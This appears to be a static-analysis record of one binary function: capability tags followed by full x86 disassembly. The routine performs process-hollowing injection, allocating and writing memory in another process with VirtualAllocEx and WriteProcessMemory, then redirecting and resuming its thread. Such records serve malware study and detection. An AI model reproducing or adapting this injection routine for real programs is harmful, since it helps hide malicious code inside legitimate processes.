Function at 0x20006b52
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Resume thread
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f0
push esi
push edi
xor esi, esi
xor eax, eax
mov dword [ebp - 0x14], esi
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
push 0x2c8
stosd dword es:[edi], eax
lea eax, [ebp - 0x2ec]
push esi
push eax
mov dword [ebp - 0x20], esi
mov dword [ebp - 0x2f0], esi
call sub.MSVCRT.dll_memset
push dword [ebp + 0x24]
xor eax, eax
push dword [ebp + 0x1c]
mov dword [ebp - 0x1c], esi
push dword [ebp + 0x18]
lea edi, [ebp - 0x18]
stosd dword es:[edi], eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x2f0]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.2000696d
add esp, 0x24
test eax, eax
je 0x20006d2e
mov eax, dword [ebp - 0x1c]
push ebx
mov ebx, dword [ebp + 0xc]
cmp dword [ebx + 0x1c], eax
mov dword [ebp - 4], esi
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov edi, 0x3000
jne 0x20006bee
mov ecx, dword [ebp - 0x18]
cmp dword [ebp + 0x14], ecx
ja 0x20006bee
lea edx, [ebp - 0x24]
push edx
push pe_nt_image_headers32
push ecx
push eax
push dword [ebp - 0x14]
mov dword [ebp - 4], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtectEx]
jmp 0x20006c22
push 0x20002684
push 0x20002670
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [ebp - 0x1c]
push dword [ebp - 0x14]
call eax
test eax, eax
jne 0x20006c22
push pe_nt_image_headers32
push edi
push dword [ebp + 0x14]
push dword [ebx + 0x1c]
push dword [ebp - 0x14]
call esi
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
jne 0x20006c68
push ebx
call fcn.20006ac8
add esp, 4
test eax, eax
je 0x20006d12
push pe_nt_image_headers32
push edi
push dword [ebp + 0x14]
push 0
push dword [ebp - 0x14]
call esi
test eax, eax
mov dword [ebp - 4], eax
je 0x20006d12
push eax
push dword [ebp + 0x10]
push ebx
call fcn.20006ae5
add esp, 0xc
cmp dword [ebp - 4], 0
je 0x20006d12
mov esi, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
lea eax, [ebp - 0x24]
push eax
push 4
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 0x24c]
add eax, 8
push eax
push dword [ebp - 0x14]
call esi
mov edx, dword [ebp + 0x10]
mov eax, dword [ebp + 8]
mov eax, dword [eax + 0x3c]
mov ecx, dword [ebp - 4]
xor edi, edi
push edi
push dword [ebp + 0x14]
mov dword [eax + edx + 0x34], ecx
push edx
push dword [ebp - 4]
push dword [ebp - 0x14]
call esi
test eax, eax
je 0x20006d0f
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2f0], 0x10007
jne 0x20006cca
mov eax, dword [ebx + 0x10]
add eax, dword [ebx + 0x1c]
mov dword [ebp - 0x240], eax
jmp 0x20006cd5
mov ecx, dword [ebx + 0x10]
add ecx, eax
mov dword [ebp - 0x240], ecx
lea eax, [ebp - 0x2f0]
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x20006d1d
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
test eax, eax
jbe 0x20006d1d
cmp dword [ebp + 0x20], edi
je 0x20006d06
push 0xffffffffffffffff
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov dword [ebp - 0x20], 1
jmp 0x20006d1d
push edi
jmp 0x20006d14
push 0
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0x14]
call esi
pop ebx
mov eax, dword [ebp - 0x20]
pop edi
pop esi
leave
ret